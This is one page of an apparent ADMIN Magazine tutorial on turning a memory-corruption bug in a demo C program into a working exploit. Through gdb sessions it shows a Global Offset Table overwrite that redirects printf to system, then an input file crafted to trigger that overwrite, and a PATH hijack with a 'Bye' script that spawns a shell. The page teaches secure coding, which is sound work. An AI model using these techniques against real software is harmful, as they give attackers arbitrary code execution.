« Previous 1 2 3 Next »
From debugging to exploiting
Secure Code
Global Offset Table and Lazy Linking
Whenever the MD.c
program needs to call a library function, and assuming the MD.e32
binary is dynamically linked, a special look-up table is used to determine the exact address for that particular function.
This lookup table is called the Global Offset Table (GOT). The GOT is populated dynamically [5], which is known as lazy linking. From an attacker's point of view, this means that the table is located in a writable section, as long as RELRO is not active. Even when a binary has been compiled with partial RELRO, some library functions can still be lazily linked and thus be present in the .got.plt
section.
To get a look at the .got.plt
table, I run MD.e32
inside a gdb session. In all the listings that follow, some output has been removed for readability. If you are not familiar with gdb, you can find a good quick reference online [6].
gdb ./MD.e32 (gdb) mai i sections .got.plt 0x804b5d0->0x804b620 at 0x000025d0:.got.plt ALLOC LOAD DATA HAS_CONTENTS
Clearly, this memory section is writable. To determine the sort of addresses that are stored in each of the .got.plt
table entries, you can output the entire content.
Reading the table will allow you to find which functions are being called by your binary that need to be lazily resolved:
(gdb) x/6x 0x804b5d0 0x804b5d0 <_GLOBAL_OFFSET_TABLE_>: 0x804b5e0 <printf@got.plt>: 0x804b5f0 <fwrite@got.plt>:
From this listing, you can infer that the address stored at 0x804b5d0 is the printf
function, so whenever your program calls printf
, it gets its address from .got.plt
. This address is 4 bytes long (32 bits).
Because this section is writable, you can write whatever you want at 0x804b5d0, and any call to printf
will then be redirected to whatever happens to be in the address of your choice.
Exploiting the Program
Now it is time to run the program inside a gdb session and exploit it. The goal is to get a shell right before the program ends execution. However, you don't want the program to crash. The first thing to do is to determine which address you must write at the .got.plt
entry. One candidate could be the system
function; after all, you want to open a shell.
As you saw before, the program ends its execution by calling printf
and outputting the string Bye
, so a good place to replace the .got.plt
table entry for printf
with system
would be before calling the last printf
function. This way, the rest of the program will behave normally:
(gdb) b MD.c:212 (gdb) p system $11 = {}0xf7e5cc30 <system> (gdb) set *0x804b5e0 = system
Now, if you resume the program's execution, this is what happens:
(gdb) c Continuing. sh: Bye: command not found
As expected, instead of calling printf("Bye")
, the code made a call to system("Bye")
, because the argument for system
, as well as for printf
, is popped from the stack and used.
Accordingly, the argument before calling either printf
or system
is pushed previously onto the stack by their caller. Thus, the stack still holds the address for the Bye
string. This needs to be fixed before opening a shell. What you want to have in the stack is an address pointing to a string, such as /bin/bash
.
The process address space is full of interesting things. Among them is the /bin/bash
string. When running a program within a shell, an environment variable called SHELL
contains a string to the shell being used. The process address space inherits this environment as well.
Inside gdb, you can refer to the entire process environment by means of the **environ
variable; therefore:
(gdb) p &environ $4 = (<data variable, no debug info> *) 0xf7f83d64 (gdb) x/100s *environ 0xffffc815: "SHELL=/bin/bash"
Although you now have the string /bin/bash
at 0xffffc815, you don't want the first 6 bytes containing the string SHELL=
. Therefore, you need to push this address with an offset of 6 bytes into the stack; that is, 0xffffc815 + 6 = 0xffffc81b:
(gdb) x/s 0xffffc815+6 0xffffc81b: "/bin/bash" (gdb) i r esp esp 0xffffc200 0xffffc200 (gdb) set *0xffffc200 = 0xffffc81b
After resuming the process, you have a shell:
(gdb) c Continuing. lm@localhost:~/lm-article$ exit exit [Inferior 1 (process 6280) exited normally]
Crafting a Malicious Particle
After studying the vulnerabilities of this code and testing with gdb, now it is time to exploit the program by crafting a special input file. This input file will be read at some point in the program and stored somewhere within the singly linked list as a new item of type PARTICLE
.
The call to propagateParticle
copies 140 out of 144 bytes to the next particle in the list, and according to Listing 2, nxtParticle
is located at the last 4 bytes of the structure, so the idea is to put the address of the .got.plt
entry where printf
is supposed to be in these last 4 bytes. Aided by any hexadecimal editor, you can write the address, but in reverse, because you are working in a little-endian architecture: D0 B5 04 08.
Remember from the previous section that you want to replace printf
with system
, which lives at address 0xf765ac30, so in little-endian, that would be 30 AC 65 F7. Now, this must be written in the first 4 bytes in the specially crafted particle, because the first 140 bytes will be written sequentially starting from the address pointed to by the last 4 bytes of the particle (Figure 2).
If you run the program now within a gdb session, it crashes:
Program received signal SIGSEGV,Segmentation fault. 0xf765ac92 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
Why? Because you have replaced more than just the address for the printf
function inside the .got.plt
table. In fact, you have overwritten a total of 136 bytes with garbage and, in doing so, corrupted the memory beyond 0x804b5d0.
All you need to do to fix this is adjust these 136 bytes in the specially crafted particle to accommodate them nicely inside the .got.plt
table. The idea is to make sure that no other library function is mistakenly overwritten by this particle by crafting the next 136 bytes accordingly.
Once this amendment is made, you can run the program again. However, and because you now want it to be exploited without manually pushing the /bin/bash
string onto the stack, you will need to create a Bye
executable file that can spawn a new shell, as follows:
cat Bye #!/bin/bash /bin/bash
To make sure this file is in the search path, you also need to give it executable permissions:
chmod +x Bye export PATH=.:$PATH
Now everything is set up to exploit the program by means of the specially crafted particle. Once again, a shell is spawned instead of getting a boring Bye message, as shown in an online video showing the PoC in action [7].
« Previous 1 2 3 Next »
Buy this article as PDF
(incl. VAT)
Buy ADMIN Magazine
Subscribe to our ADMIN Newsletters
Subscribe to our Linux Newsletters
Find Linux and Open Source Jobs
Most Popular
Support Our Work
ADMIN content is made possible with support from readers like you. Please consider contributing when you've found an article to be beneficial.